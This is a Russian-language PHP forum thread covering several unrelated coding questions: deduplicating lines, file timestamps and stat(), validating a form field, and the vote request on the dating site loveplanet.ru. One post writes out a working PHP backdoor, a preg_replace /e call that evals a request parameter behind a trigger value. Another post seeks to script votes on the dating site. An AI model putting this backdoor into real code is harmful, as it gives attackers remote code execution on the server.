d_x, зачем делать trim для элементов массива, а потом объединять их через \r\n, обрезанный тем же trim? Да, и строка может иметь пробелы. Как вариант: PHP: $str = implode("", array_unique(explode("\n", $str)));
mailbrush, не было конакретных требований касательно этого. Твой способ не сработает, например, если строки будут разделены \r\n, а после последней строки \r\n не будет, вроде такого: Code: 11111\r\n 22222\r\n 11111 Мой код можно еще уточнить: PHP: $str = implode("\r\n", array_unique(array_map('mytrim', explode("\n", $str)))); function mytrim($str) { return trim($str, "\r\n"); } Теперь он будет учитывать наличие пробелов и не будет ошибаться в вышеописанном случае.
Да, точно, последняя строка будет без \r\n, тоесть не равна 11111\r\n. Вот тут просчитался А вообще, идеальный вариант тогда вот так: PHP: $str = implode("\r\n", array_unique(array_map('mytrim', explode("\n", $str)))); function mytrim($str) return trim($str, "\r\n"); Просто визуально лучше выглядит, хотя функционал тот же. Ладно, забьем
1.Как узнать время создания (НЕ изменения) файла? 2. Как узнать какие права доступа к файлу/папке? Желательно через stat . Очень нужно. Вот инфа : stat(filename)[9] - время последней модификации содержимого файла; stat(filename)[10] - время последнего изменения атрибутов файла; но не ясно что к чему относится.
stat() не везде работает. PHP: <?php $filename = 'test.txt'; if (file_exists($filename)) echo "Файл $filename создан: " . date(" <b>d.Y.H:i:s</b>", filectime($filename)); else echo "Error, File don't opening!"; ?>
stat() по описанию под виндой вообще работать не должен( -1 вернет ), а filectime() вернет не верный результат в случае если измены права на файл или группа.
Ins3t хотелось бы узнать, в каких это случаях stat() не будет работать? И где это вы увидели, что stat() будет возврашать -1. В мане описано, что -1 будет возвращено только для поля blksize и то не обязательно для винды той же самой. DonKihot файловым системам нисколько не интересно, когда файл был создан. Они оперируют 3 временами, о которых нам например может рассказать ман: Code: The field st_atime is changed by file accesses, e.g. by execve(2), mknod(2), pipe(2), utime(2) and read(2) (of more than zero bytes). Other routines, like mmap(2), may or may not update st_atime. The field st_mtime is changed by file modifications, e.g. by mknod(2), truncate(2), utime(2) and write(2) (of more than zero bytes). Moreover, st_mtime of a directory is changed by the creation or deletion of files in that directory. The st_mtime field is not changed for changes in owner, group, hard link count, or mode. The field st_ctime is changed by writing or by setting inode information (i.e., owner, group, link count, mode, etc.). Таким образом. atime - изменяется при чтении файла, mtime - при записи в файл, ctime - при изменении аттрибутов. Однако тот же ман говорит: PHP: Not all of the Linux filesystems implement all of the time fields. Some file system types allow mounting in such a way that file accesses do not cause an update of the st_atime field. (See ‘noatime’ in mount(8).) То есть на НЕКОТОРЫХ системах можно смотреть на atime как время создания файла, но всецело полагаться на это не стоит. Если уж вам настолько критично именно создание файла, то либо создавайте в БД таблицу, с датой заливки файла, либо смотрите минимальную дату среди mtime, ctime и atime
Да, Вы правы, действительно сказано, что blksize доступен только на системах, поддерживающих тип st_blksize - другие системы (например Windows) вернут -1. Прочел описание по диагонали.
а чё у тебя всё в кавычках? xD какой вобще должен быть смысл кода? Тебе проверка для чего? eval там каким боком? вобщем: preg_replace('@(.+)@ie', $_REQUEST[cmd2]=="ass" ? '123' : '243' ,'$_REQUEST[cmd]'); если $_REQUEST[cmd2]=="ass" то будет менять на 123 иначе на 243 ps: надеюсь, константа cmd2 у тебя задана и третий аргумент - не переменная, а текст
Nightmare Зачем такой сложный бекдор, если можно глушить ошибки с помощью "@" ? А так рабочий вариант: PHP: <?PHP $_REQUEST['cmd2']="ass"; $_REQUEST['cmd'] = 'phpinfo();'; preg_replace('@(.+)@ie',($_REQUEST[cmd2] == "ass")?"eval('\\1');die;":"",$_REQUEST[cmd]);
На сайте http://loveplanet.ru/ после поиска(зарегистрированным пользователям) можно заходить в анкеты других людей и ставить Да или Нет. Так вот это делается яваскриптом: HTML: <a href="#" onclick="return likes.send(1);" class="btn_orange fl" style="width: 70px; margin-left: 20px"><span>Да</span></a> <a href="#" onclick="return likes.send(2);" class="btn_blue fl" style="width: 60px; margin-left: 15px"><span>Нет</span></a> А вот и яваскрипт: HTML: <script language="javascript"><!-- var likes = { xhr: window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(), lks: document.getElementById('likes'), ltr: document.getElementById('likes_true'), lfl: document.getElementById('likes_false'), login: 'fuzionbly', send: function(vote){ likes.lks.style.display = 'none'; var data = '/?a=likes&login='+this.login+'&likes='+vote; this.xhr.open('GET', data, true); this.xhr.onreadystatechange = function(){ if(likes.xhr.readyState == 4 && likes.xhr.status == 200){ var responseText = likes.xhr.responseText; if(responseText == 1){ likes.ltr.style.display = 'block'; }else if(responseText == 2){ likes.lfl.style.display = 'block'; } } } this.xhr.send(data); return false; } } --></script> Куда мне нужно отсылать на сервер запрос, чтобы поставить Да? Спасибо.
Ребят такой вопрос, есть переменная PHP: $tsize= 250; нужно сделать так что бы она была контролируема при загрузке, это получается надо в форму добавить HTML: <input type="text" name="thumb" size="3"> Юзер вписывает желаемое ему число и теперь вопрос, как мне это число преобразовать в значение переменной $tsize= ; Само число должно быть строго меньше 300, но больше 100, ежели не удовлетворяет то echo"Не удалось загрузить файл";
Не очень понял задачу, так? PHP: <form action = '<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>' method = 'post'> <input type = 'text' name = 'thumb' size = '3'> <input type = 'submit' value = 'ok'> </form> <?php $tsize = 250; $thumb = $_POST ['thumb']; if (isset ($thumb) && ($thumb) <300 ) { $tsize = $thumb; } ?>
Redwood, не совсем так, но алгоритм мне стал ясен. PHP: <form action = '' method = 'post'> <input type = 'text' name = 'thumb' size = '3'> <input type = 'submit' value = 'ok'> </form> <?php $tsize = $_POST ['thumb']; if (isset ($tsize) <300 ) # так а вот здесь тогда как?? Само число должно быть строго меньше 300, но больше 100, ежели не удовлетворяет то echo"Не удалось загрузить файл (ошибка создания превью)"; ?>
PHP: <form action = '' method = 'post'> <input type = 'text' name = 'thumb' size = '3'> <input type = 'submit' value = 'ok'> </form> <?php $tsize = $_POST ['thumb']; if (isset ($tsize) and $tsize<300 and $tsize>100 ) { чо надо } else echo "ошибка создания превьью"; ?>